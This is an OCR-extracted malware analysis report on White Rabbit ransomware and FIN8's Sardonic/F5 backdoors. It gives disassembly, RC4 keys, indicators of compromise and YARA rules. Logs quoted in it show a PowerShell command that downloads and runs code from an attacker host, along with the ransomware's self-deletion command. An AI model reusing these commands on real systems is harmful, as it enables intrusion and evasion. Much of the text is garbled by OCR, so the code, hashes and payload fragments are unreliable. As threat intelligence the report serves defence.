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In December 2021, Lodestone published an article linking a previously unknown
ransomware group, White Rabbit, to the threat actor group FIN8 after observing
striking similarities between the two during an investigation. The subsequent
efforts by the cybersecurity community have brought together experts from around
the world to “follow the White Rabbit,” so to speak, and gain more insight into an
emerging threat.

Since the time the last article was published, Lodestone has observed evidence

that a new version of FIN8's BadHatch backdoor malware, Sardonic, has been
deployed and seen in use by White Rabbit. Lodestone experts have identified

strong overlap between Sardonic and this new backdoor malware, dubbed F5 and
encountered as part of the investigation that initially resulted in the discovery of the
White Rabbit group.

Overall, the functionality of the Sardonic .NET assembly (“MDAC.dIl") and the F5
assembly (“Default.dll”) have strong similarities. They both contain Rivest Cipher 4
(RC4) encrypted shellcode, with the decryption key contained in the DLL, and both
are compressed using Gzip. In the samples recovered by Lodestone, the decryption
key for the “MDAC.AIL" shellcode was 802d8B9Fe13f576163DEab429754cA0C, while
the key for “Default.dll” was 15e280Ea9d63270Fb89763514cDCABf4. As reflected in the
screen snippets below, the decryption algorithms remained essentially unchanged.

mov r9b, @D1h ; initial key
mov rcx, 2BB4h ; number of bytes to decrypt
lea rll, loc_19+1 ; address of piece to decrypt
decrypt_top: ; CODE XREF: seg@@@:loc_19ij
xor [r11+rcx], r9b ; decrypt a byte of code
add r9b, [rll+rcx] ; update key
loc_19: ; DATA XREF: seg00@:2800000000¢
loop decrypt_top ; decrypt a byte of code
db 95h

Sardonic Shellcode Decryption Routine
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segfo : 0000000000000000 ; Segment type: Pure code
5eg00R: Pe0EO0BV00RRRARE segdde segment byte public 'CODE' use6d
seglea : peepeccaeeeoeaee assume cs:segéee
5eg00@: BOVOODAVAOOE000O assume es:nothing, ss: nothing, ds:nothing, fs:nothing, gs:nothing
° |seg0ed: 600608300000008 mov r9b, 3ah ; '
" |segooe:ere0ee0ee0esnses mov rex, 1590h
“ |segopo:e00000000000000A lea ri5, loc_19+1
segbod: 00e0000000000011
5eg000: 0000000000000011 loc_11: ; CODE XREF: seg@0®:loc_194j
f"’ seg0ed: 00e00c00R000e011 xor [r15+rcx], ro9b
i |seg000: 0000000000000015 add rob, [riS+rcx]
: segfea: deeooeeneo0neals
| |seg00e:0000000000000019 loc_19: ; DATA XREF: seg@00:000000002000000A0
L Z |segPod: p000000000000019 loop loc_11
T L e it e bt L
. segh0a: 0000000000000018 db ecch
: SEgotd: D0V000000080e0 10 db 27h ; °

F5 Shellcode Decryption Routine

Although the F5 and Sardonic backdoors appear to function nearly identically to
each other, some features of the PowerShell script and the .NET DLL mentioned

in the Bitdefender paper appear to have been removed; the PowerShell script no
longer has an option to kill an existing process, and the “4BMARC2WKL" marker
prepending the shellcode in “MDAC.dLL" does not exist in “Default.dll”. Since these
were minor features of the malware, Lodestone could not determine why they may
have been explicitly removed by the author.

Event 4104, P, | Microscft-Windows-B |l ®

General  Details

Creating Scriptblock text (1 of 7 -~

if (SD742-ne Snull] | Stop-Process SD742 -Force }

if {{IntPar]=size -eq 4 |

i
Sae74

QOAAMAAAAEAAAL/BAALY AAAAFUGAALARNIBGETMONVGR ey BwemncmPtIGRhbm Sy dCBIZS Byd
M,m;,nzammuzcuunmmnmmmmmunsmmmmmnmammvmmmmmvmu@mm DAAAAAAAEAAGAAAAAGAABAAAAAAAAAE ARARAAA
AAADGABAAAGAAAAAAAAMACDIUAABAAA BAAMAANEAAAEASARLARABARAAAAASAAAAAAAAIWASBPAAAAAKAAAIADAAAAAAAAAAAAABAAA A AAAAAAAMAAAMWAAABOL WAACAAAAAA

SAAAAAAAARAAAAL

CAAAAAAAAAAAMAAAC CAAAEGAAMAAAAAAAAAL
ALAAARAAACARAGAUCNNlY WWAAAIADAAAAG A AL AOAARBEAARAL AL A AL AAAA A ABARAB AL IICYAAAMARARAMA LA AACAAAAT g
MWWEWWMWU&}CIMIQM”‘ ABBAAAAABARPLAANAAPRAAAAAAAAADBAAAAAASAAA LA AR PPPPRAAAARAN ABABAAAABIMIWBACIAAAANTANEN

BAAAEKADAAAT + AOAABCODAAAGCIDSAAAK g EAAHEVEAAC JSWEASpBoIpGFpY IAAGAAAF QO gBAAAGDBIDEgIoFARACOe0aWRY KBUAAACSBEICKBOAAACH mIgWAZ DR WEYKBUAARTHF 0g

FEmkoFgAACgYWOQaOaSgWAAAKBh\'REAaOaSgWMAKEQIQBMMgXAAAK BgAAAPIEALAAMBIAAAGK A AR BswE ABCALAAAGANE GOAACYoGFNMaAARKC SMB AL AKDCAMEAAAISOAR,
AENKWERﬁSB&M&KMWCYEpWMIEmMDUIhMMTMEEwGCG!!AAAKJA:ﬁgdeAMLMGwSAMr:EQUqASgMAIAFOAyRmAKAAMANADwBEUQAMAMANM

WAKAAAAABNWEODIAAAAAWAAERBD]SOAAAEIDAI AAACOIAAAC oog AAEAAITKAAAECYAAAGAASOAAAEMFRMGK: gHECREtKCCBEGBREGH ACAAMEWDRY TBysqC
Qcasswcaemw;wmmumemmmEHBwmamumucsqmawmcgnm.mmnumwwhwmcnammmnadswnancnBzmmmquusqwmusquummnasm
(AcREZEHEQSRWCAAAQAAKRMLARE )iy AAAEIRweRCSFRUIRCRAVEWkRC QMWEYEAAA oy nineAigiAAAKKmAgSWe AAIDKAAABIAADAAAEKT AAAA qAACIAABL cACINKOGEAADAAAAAADAAAAHYYL]
AUNTAIMIcAAAAABOBSAAAANACAACN. AACGBAAAGAUAACNTAHIpbmdzAAAAAC AKARACAAAAI TV TADWKAAAGAAAAIGIYSUCAAABMC gAAPAIAACNCHGHARAAAAAAAAIAAAF K CHICCIAA
ADBATMAFGAMACARACGAAAGAALAAWAAA RO AANALAAAAIGAANBAAASABANAAAGAMAMAAAABANAACAAN AAARBAANNAGASAAMARARAAL WD AQAAANAABGDiAG VEBGEP ASYEB QD
AXCEDWDGBAAABYAZASUEEYTjAqoEBCEAGEB AT AwCEBGAC AwEEBY AL AwcEBGA 4BLAGOEBGDTA/OEBgBcAVOEE DX AWEFEGAIEJ4DBYDRADWAC gDGA+ UDBgAC
BlcFAGDAAGCElGE WAIDAgAEd4DBGCFASDRg AR BgBAAMDAGBy AVEFERINADAGCn A BgRSAMOBgRU AHDASCHAMDBIDXASWAC gAIAeLIDEG BtASDAGAT A4DNGAOR aYERghA0R
BBACADAAAAAKCAAAARAAEAAGABABAANATIAEKAACABAAABAACLAAAASOACAACAAWEAAIOBAABIAACABWATACAAIAAAAGOABAALABMBAAABAAAALCAEAASAEDVEFsBNWFTAFEBM

wFSAGMBAAAAA AAKSDvAGBACBOIAAAA ACWAIWDEWEFAAChAAAAAYAL gR2AOU A CEAAAAAlGAY Ao BBy CfIgAMAACGEGAEB g AHAK S AAAAMEYZ gRe AC c ARAS AR AMA KR g BLABBwALAA
mwbmssaag.nmmmmM\'sxstmmmmgmvaacummlmmmmmmmunnmrwmwwmmumm;umnmmammmm;umi
ADgUIAGAEAT gATAGAEC g "QBpﬂGAEFJ\ExAGAEEﬂC gCIAGAEBGT:
MAMADh.QDsENQDpAEcAOwDMGAEPw[hd\GDFRﬂDEAﬂYB’!ﬁDmEEVQCZAﬁAEMmGnEch75*"ﬁ B MiAXsDrQCRAGAEBgAnAHsALquA
MMBMMMAvAEmCMQEuACMuADMA.?QEuAI}sA2QEu.ﬁEMAxQEu.ﬁEnﬁMuAFM-&ZQEuﬂFsA2QEMGM&MMG;MQJ]N;AL;KDNM&MWIIMY&uwMACAMMMEAMd B

Sardonic PowerShell Script with Process Killing Functionality
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Event 4104, P {Mic Windiows-P. b oan -

General  [Dietails

Creating Scriprhlnck rext (1 of 8): -
§1644=f[ IntPtr]sime -eg &)

[TV QRAAMAAAAEAAAA BAAL AAAARAAAATE AAAIFu g4AtARNIbGETMONY GhpoyBwemdncmPtiGNRBmSvdCBIZSByd
-Wd-gawsigRE‘.ITIG1\rZ-GL!uDWWTAmMHdUMMMTMMMMMNMMQMMM
AAASR A AL G AR AR A AN AMAC AL BAAARAA AL AEAANEAAAA AN ARA LR AR AR AAAANAAE A AL EPALAAAMA A A DADAA AL AL AL A SNBSS AR AR A AR A R RO AR A A AAACY L AA DAL AL L

AAABAAAAPARAAARAASAAAAAAAAAAARRARARAAARAAAAAAAALA A AR AIAAACARAAAAAAAARARAACCAAAEGAAAAAAAAAAAAAACTIZXhIAAAAAAAAAGAAAAKGARAAIAAAAAAAAS
ALAAAAAAACAAAGAUCRNY YW ARAD ADAAAAWAAAAACAAA CUAAMAMAMAAAAAA SRS A BADABAL D GHAAA MAAMACAMMAMC AAAAMAAAAAAAAAMAAAAAAA LA CAAA DG AAAAAAAAAN

AAAAAAAAAABOMAAAAAAAAEGARAAC AALAICIAAMAMAAAD, BMWECCaAAARAD
AAEXBARAEKAGARAL + AQRARCGEARAGIGEAAACOAWAARDP+ AGAABC gDARAGC: (HImKGImEZWIggABARABSAKAEAL AAKE43palgoEwAACgEWC AeDaSgUALAKBRYBoSpKBO
AAACIDADAAN FOAACIGWAAAKIACAAAT mEAAAGTOA ARy Mmhmcwsmwwcmmcmmmuxwmcwmm

KBkaC‘YSphstAAnIEwQWMO{JibwaAoTBdMCCwGCGsdAAAIGAcgBgdeO_AACIwGLA\"GbxMAA(CEQI.IqﬂSQMAL.QFQAwaAKAMAMmeBCUQ&mMABwBUmeMMBMwBQ
D3AAAAAWAAERBSMAAAFINACIAAAQoHGAAC GogAMEAAIDAAABCYAAATIALSMAAAEMFhMGiGgHECY RBEK cCBEGBRE RELAAAGAANBWDRY TBysqCOcRBSEYCBEHKY ggh
AEAAFONE EHKAMIBXEHEWmRNACE D CEQEXWEMHEQ GAAEAADLNFILITEBMFFRUK ] cRERGVIAABAR BAEWURBACREZFYIAABAABEW QHEQWREWOHEQUHEQSRNACRBBEKnACREZEHEQSRWCAA
ACIAAXRMLAEyMAAAE RwcRC SFhOHRCREYEwkRCOIWb: 30AA oy niceliggAAAKKI Yghm cAANIAAABIADAA L EKEAAAAGAADAA BCDeFwAASMALAEALAAA CoHa AAC o AC AL AEK G ARAEITSKIE

AAEAAMAMWMA82Mn&wL]LPnN;ISMAMAUAhAmmE&MﬁgAATAQAAKwFAAA,UQQy;WSmmMMC\’EWBMANUM:CBAA&AMCNHVUIMMDWQCAMJQWWMA
MA‘\AE\'BUCMKAMAOgMBYWWBMWWEWWCWWD AR
AYAUGPSBAY AvwPSBAYAYOL HEASAGOUA i e BAYAZAS: BAY Mg gl Ak BAYMKX.;HAVAOQLaBnVMw]xEAYAYgQOBQTAZNoBQYnﬂwKaEQ\’AMF
M‘Q‘AQARf.ﬂCluALQRMB-M"Agw'laBA\’AMhPaBdYABgJFEAYAaQVF&AMMNFBM‘AHgL FRAYAwARF DATABAY A+ OFFEAYADAFFEAYADwWIFBAVAP gRFA o Anw FMBAY AZONFBAY AsD)

FFlmmmxssa\m;wwmvmwmmmmmamummsumWmmsmmmmmmmmmmsmemmm ATAQABACAAAGDABGA
LABMEAABEAAAABCAGAASAEQBWALMBEQDX AEAEI BAFOBAAAAAIANKSBYAVABACBOIAAAAACWAFIAZGEFAPggAAAAAIY AdSNGAQUAICEAAAAMIGDIAHEBBCXI gAAA
AOGGLMEBg.&HMBMMAJEVuM:AMAAAAMhhthcBBwMMAMwDGAaMHMMWFMMgGhHEMMHMAWgMMM?
AALAEANGEAAMEARAAAMAEAWGUARAIMhAEAALEAWWAAAAIArg ASAAMASOAAAAATGARAAEAWWAALAIArgAAAAMASOAAAACIATGARAAAAWCAASY AWGUAAAE AdgUIAL MEAQARAL MEB
(GAZALMECgARALMEEAA: ALMEEAASAL MEEABE ALMEEAEIALMEEABRALMEEABZALMEEABRALMEFOE pALMEEARALMEEACBALMEGGCALMEB g Cx ALMEIADRALMEBGDRALALWDRALM

JUFOAD:AOIBQQDpNUmCZALMEKwCMLMEQ(ZALMEBgAmRQCmeAKSBdwCZNOFMMNBB lgfoedesDeACRALMEBgAn AHsABO A ALl EuaACMAyAEUAC
AR yAEUADshy y AagEuhGsh= AFjAIsABKDAIMACGIAAY ArgABACAAARAF AAEASHAAAYAACICGZwALBWAmAFEARAAUBAABAWEYA
QEAmDAMAMA!JDRMQJ\QJ WUMMWMVWMWUEEM CEFEAAAAAAE AAIABOADAAYAAWAHAAMAAAL

GAAARAAAAAARAAND
AAABTXT MNOYXR pYOFy emF3SW3pdFRIcGYTaXplP T MTAAMDVGNIER GMTwRKY 1MDCx NUE2Qjc T OTRCTg SMEEARIMZRD g NTAZ ABVN T ODO3MABWNVFMWEIMOEWMOERLINIYXRpYOFye  «

F5 PowerShell Script without Process Killing Functionaliity

Another observation Lodestone made during the investigation was a change in the
method name executed by the PowerShell script. In Sardonic, the method used

was “MSDAC.PerfOSChecker::StartCheck”; however, in F5, the name was changed to
“05518470.kfC09272::p65E1a71". Surprisingly, Lodestone did observe evidence of threat
actors creating a new Windows Management Instrumentation (WMI) consumer for
the F5 PowerShell script. It is possible that efforts to configure F5 to establish this
persistence were abandoned once a decision was made deploy ransomware.

propety valug

md3 OFoER2C2F 1A SFRECEDEID BB CAFIS0S

chal CIT15CEITEAOTAE 131 BRAFEDDIDDESAZ ADGFOTE

shaldb FARTFOCESEIF | FREDF 150771 DA TEFEFDIEAD SREIATIRA D TE AL RODFEEI0C SA4G0
age 1

LizE 122 (boytes)

format Rsbs

debugger-samp (P304 88 (Bun Jul 23 163654 2902 | UTC)

path Collserstdew win 10 004 Do ementsh Sardonich Sardaniclfilit L oederssermbinabt g B8, Aeteaset WEDAC pdb
CGouid AIT15AAT-TEOF -474E-AAF- D2 ATOAIBRFCE

property value

md3 DEESFERTERSTAAFBEAT BOOOESI0RIRS

chat 04407 CET SCRAFFOOCES T A4 CA8ATIADCOREEEDAER

shalig

age L

size 112 (bytes)

format RSDS

debugger-stamp  (eBOZDEGET (Fri Sep 0T 23:04:44 2048 | |T-.,f|
path \sers\dle
Gund E1745428-A0F-A1FA-237 - AGAFBSAABTD

Program Database (PDB) Paths for “MDAC.dll” and “Default.dll”
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Lodestone encountered some difficulties in the analysis of “Default.dll” which
hampered progress. What Lodestone has determined thus far, however, is that, like
the shellcode in “MDAC.ALL", the “Default.dll” shellcode first checks the name of its
parent process. If the parent process is “powershell.exe”, the shellcode will open
“lsass.exe” with SeDebugPrivilege and copies its system token. Then, it creates

a child process, “WmiPrvSE.exe”, with system privileges to enable it to inject its

own code and run with elevated privileges. The malware then generates a 32-byte
hardware ID based on the computer name and C volume serial number. The system
time and hardware ID are then encrypted with a custom algorithm and placed into a
64-byte buffer before an attempt is made to connect to the C2 server. If the malware
is unable to reach the C2 server after five attempts, it will terminate itself.

No.  Time  Source SrcPort Destinaon  DstPort Protocol Info
. : 81,139 a0H ? Y

Unsuccessful attempts to reach the C2 server

EVIDENCE OF A HUMAN OPERATOR

Interestingly, Lodestone may have found evidence supporting Bitdefender’s belief
that the Sardonic or F5 loader is copied to the victim’s machine via a manual
process instead of automation. The logs Lodestone analyzed during the course

of its investigation show that the filename of the URL hosting the malware was
always a random, 6-character alphanumeric string that changed nearly every time
the command was run. In one of the events, however, Lodestone noticed that the
filename contained seven characters. The PowerShell log in the image below shows
a command to download a file from hxxps://104-168-201-26.sslip[.]Jio/36d851e.
Roughly one minute later, another command was run to download a file from
hxxps://104-168-201-26.sslip[.]io/6d851e. Lodestone belives that the best explanation
for this is that a human operator entered the incorrect URL and then reran the same
command with the correct URL.
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Event 400, PowerShell (PowerShell)

General Details

SequenceMumber=13

HostName= ConsoleHost
HostVersion=5.1.14393.4583

Hostld=a78797bd-1e3a-4524-a07a-ad TeaaT9ede?

HostApplication=p hell.exe -neop -ep bypass -c iex (New-Object System.Net.WebClient).DownloadString("https://104-168-201-26.5slip.io/36d851e")
EngineVersion=5.1.14393.4583

Runspaceld=beac8edb-d1e7-4f16-84c3-a21919310b1d

Pipelineld=

CommandName=

CommandType=

Scripthame=

CommandPath=

CommandLine=

Log Name: Windows PowerShell
Source: PowerShell (PowerShell) Logged: 8/18/2021 4:08:06 PM

PowerShell with a Typo

Event 400, PowerShell (PowerShell)

General Details

Engine state is changed from Mone to Available.

Details:
NewEngineState= Available
PreviousEngineState=None

SequenceNumber=13

HosthNarme=ConsoleHost

HostVersion=5.1,14393.4383

Hostld=98134ed0-58ed-46bb-a10b-abdecf45ded1

HostApplication=powershell.exe -neop -ep bypass -c iex (New-Object System.Net.WebClient). DownloadString('https://104-168-201-26.sslip.io/6d851e")
EngineVersion=5.1.14393.4583

Runspaceld=2a2f205e3-def4-4088-0b48-0ab466282e05

Pipelineld=

Log Name: Windows PowerShell
Source: PowerShell (PowerShell) Logged: 8/18/2021 4:08:05 PM

PowerShell with the Typo Corrected
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When Lodestone first acquired a sample of the ransomware, its experts observed
that it was highly obfuscated, had strange file extensions (.physiat and .uderro),
and used an invalid digital certificate. Additionally, Lodestone determined that the
malware checked the command line arguments using “-f”, “-", “-p”, and “-t” flags.

Found %u, encrypted %u, errors %u
Bad start time: "%s"
%s(%u).%sERROR %u - %s

Global \%08X-%04X-%04X-%04X-%08X%04X
M7

Operating System

Floppy

%S

emd /¢ choice /t %u /d y & attrib -h "%s" & del "%s"

Manually Decrypted Ransomware Strings

Lodestone’s theory that the “-p” flag was for the password used to decrypt the payload
was confirmed by a Trend Micro article on White Rabbit, as Lodestone’s sample used
the same passphrase as the sample analyzed by Trend Micro. The other flags allow

an operator to specify which files (-f) to encrypt, an output (-l) for a log file, and a
start time (-t) to begin encryption (if no time is specified the ransomware executes
immediately). Once the malware completes its encryption function it executes a self-
deletion function using the command:

cmd /c choice /t9 /dy & attrib -h \"[fname]\” & del \"[fname]\"



Lodestone

imeStanperCertificate

Lt Inc,

Lodestone continues to monitor the situation for any further developments
and would like to thank its partners at Group-IB for their contributions to this
investigation. To learn more about Group-IB, visit the following link: https://www.

group-ib.com/.
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IP Addresses
64.44131[.134
91.90.194[.]30
104.168.132[.]128

170.130.55[.]120
Domains

91-90-194-30.sslip[.lio

104-168.132[.]128.nip[.Jio

URLs
https://104-168-132-128.nip[.]lio /51b16¢

http://va5vkfdihi5forrzsnmins436z3cbvf3sgqklslf6l6kn3t5kc5efrad[.Jonion

Filenames

“default.dll”
“l.exe”
“z.exe”

Hash Values
655c3¢c304a2fe76d178f7878d6748439 (“default.dll”)
6ffa106ac8d923ca32bc6162374f488b (Sardonic PowerShell script)
fb3de0512d1ee5f615edee5ef3206a95 (Sardonic x86 DLL)
4a03238e31e3e90b38870ffc0a3ceb3b (Sardonic x64 DLL)

Beffdd959b1f7e11e1c2b31af2804a07 (F5 PowerShell script)
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d9f5a846726f11ae2f785f55842¢630f (F5 x86 DLL)
087f82581b65e3d4af6f74c8400be00e (F5 x64 DLL)
e49fe89435297f1bca1377053eaa6ded (White Rabbit ransomware)

YARA Rules

rule fin8_powershell_dll_loader

{

meta:

description = “Powershell .NET DLL Loader”

sample_private =
“adac9106216e6d2eb2a6d1a0a01d7286dddd6bafdab9eb1cd182dd49924663a2”

strings:
[* if([IntPtr]::size -eq 4){ */
$s0 ={ 3D 69 66 28 5B 49 6E 74 50 74 72 5D 3A 3A 73 69 7A 65 20 2D 65 71 20 34 29
7B }
[* [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String( */
$s1={5B 5379 73 74 65 6D 2E 52 65 66 6C 65 63 74 69
6F 6E 2E 4173 73 65 6D 62 6C 79 5D 3A 3A 4C 6F
61 64 28 5B 53 79 73 74 65 6D 2E 43 6F 6E 76 65
72 74 5D 3A 3A 46 72 6F 6D 42 6173 65 36 34 53
74 72 69 6E 67 28 }

condition:
all of them

}

rule fin8_dotnet_shellcode_loader

{

meta:

description = “Sardonic Shellcode Loader”
sample =
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“03e8b29ad5055f1dda1b0e9353dc2¢1421974eb3d0a115d0bb35c7d76f50de20” /*
Default.dll (x86) */

sample =
“4ee21b5fd8597e494ae9510f440a1d5bbcdb01bc653226€938df4610ee691f3a” /*
Default.dll (x64) */

strings:

Spdb1 = “C:\\Users\\dev_win10_00\\Documents\\f5\\ F5Utility\\
LoaderAssembly\\obj\\ “ nocase ascii

Ss0 = “Default.dll” fullword wide

$s1 = “12F9333185494642C1587A546D2287C1A4COTA2A” fullword ascii
$s2 = “05F6DF120FF54415A6B75A4B1894A83C6D865030” fullword ascii
$s3 = “78893E31FF10BDE2CBCB8A51664788D7DCOFC194” fullword ascii
Ss4 = “15e280Ea9d63270Fb89763514cDCABf4” fullword ascii

condition:
2 of them
}

rule fin8_shellcode_memory

{

meta:

description = “Sardonic Shellcode(in the memory)”

strings:

Sh_x86 = { E8 00 00 00 00 5F B9 [2] 00 00 [2] 30 ?? OF 17 00 00 00 02 ?? OF 17 00
00 00 E2 FO }

/*

*al = ((*a1 " (*a1 << 6)) >>13) " (*a1 << 18) & OxFFF80000;

*a2 = (4 * *a2) & OXFFFFFFEO ™ (((4 * *a2) ™ *a2) >> 27);

*a3 = ((*a3 ™ (*a3 << 13)) >>21) " (*a3 << 7) & OxFFFFF800;

v4 = (*ak << 13) & OXFFFO0000 ™ ((*az ™ (8 * *a4)) >> 12);

*/

Schunk_x86 = {89 3A 8B 03 8D 3C 85 ?? ?? ?? ?? 31 F8 83 E7 EO
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C1E8 1B 31 F8 89 03 8B 39 89 F8 C1 EO 0D 31 F8

C1E7 07 C1E8 1581 E7 00 F8 FF FF 31 C7 89 39

8B 3E 8D 04 FD ?? ?? 22 22 31 F8 C1 E7 OD 81 E7

00 00 FO FF C1 ES 0C 31F8}

Sh_x64 = { 41[2] 48 C7 C1[2] 00 00 4C 8D [2] 00 00 00 45 30 }
/*

*al = (*al << 18) & 0xFFF80000 " ((*a1 " (*al << 6)) >> 13);
*a2 = (4 * *a2) & OXFFFFFFEO ™ (((4 * *a2) " *a2) >> 27);

*a3 = (*a3 << 7) & OXFFFFF800 " ((*a3 " (*a3 << 13)) >> 21);

v4 = (*a4 << 13) & OXFFFO0000 " ((*a4 ™ (8 * *a4)) >> 12);

*/

Schunk_x64 = { 89 01 8B 02 44 8D 14 85 ?? 7?2 ?? ?? 44 31 DO 41
83 E2 EO C1 E8 1B 44 31 DO 89 02 45 8B 10 44 89

DO C1 EO0 OD 44 31 DO 41 C1 E2 07 41 81 E2 00 F8

FF FF C1 E8 15 44 31 DO 41 89 00 45 8B 11 42 8D

04 D5 ?? 2?2 22 22 44 31 DO 41 C1 E2 0D C1 E8 0C

4181 E2 00 00 FO FF 44 31 D0 }

condition:
any of them

}
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Michael Gillespie’'s White Rabbit announcement on Twitter:

https://twitter.com/demonslay335/status/1470823608725475334

Bitdefender on FINS:

https://businessinsights.bitdefender.com/deep-dive-into-a-fin8-attack-a-
forensic-investigation

https://www.bitdefender.com/files/News/CaseStudies/study/394/
Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf

Trend Micro on White Rabbit:

https://www.trendmicro.com/en_us/research/22/a/new-ransomware-
spotted-white-rabbit-and-its-evasion-tactics.html

MITRE profile on FIN8
https://attack.mitre.org/groups/G0061/

PUNCHBUGGY and PUNCHTRACK

https://www.mandiant.com/resources/windows-zero-day-payment-cards
https://blog.morphisec.com/security-alert-fin8-is-back

Lodestone Security is a wholly owned subsidiary of Beazley plc. Lodestone provides
computer security and cybersecurity consulting services. Lodestone does not provide
insurance services and client information obtained by Lodestone is not shared with
Beazley claims or underwriting. Likewise, client information obtained by Beazley claims
or underwriting is not shared with Lodestone.



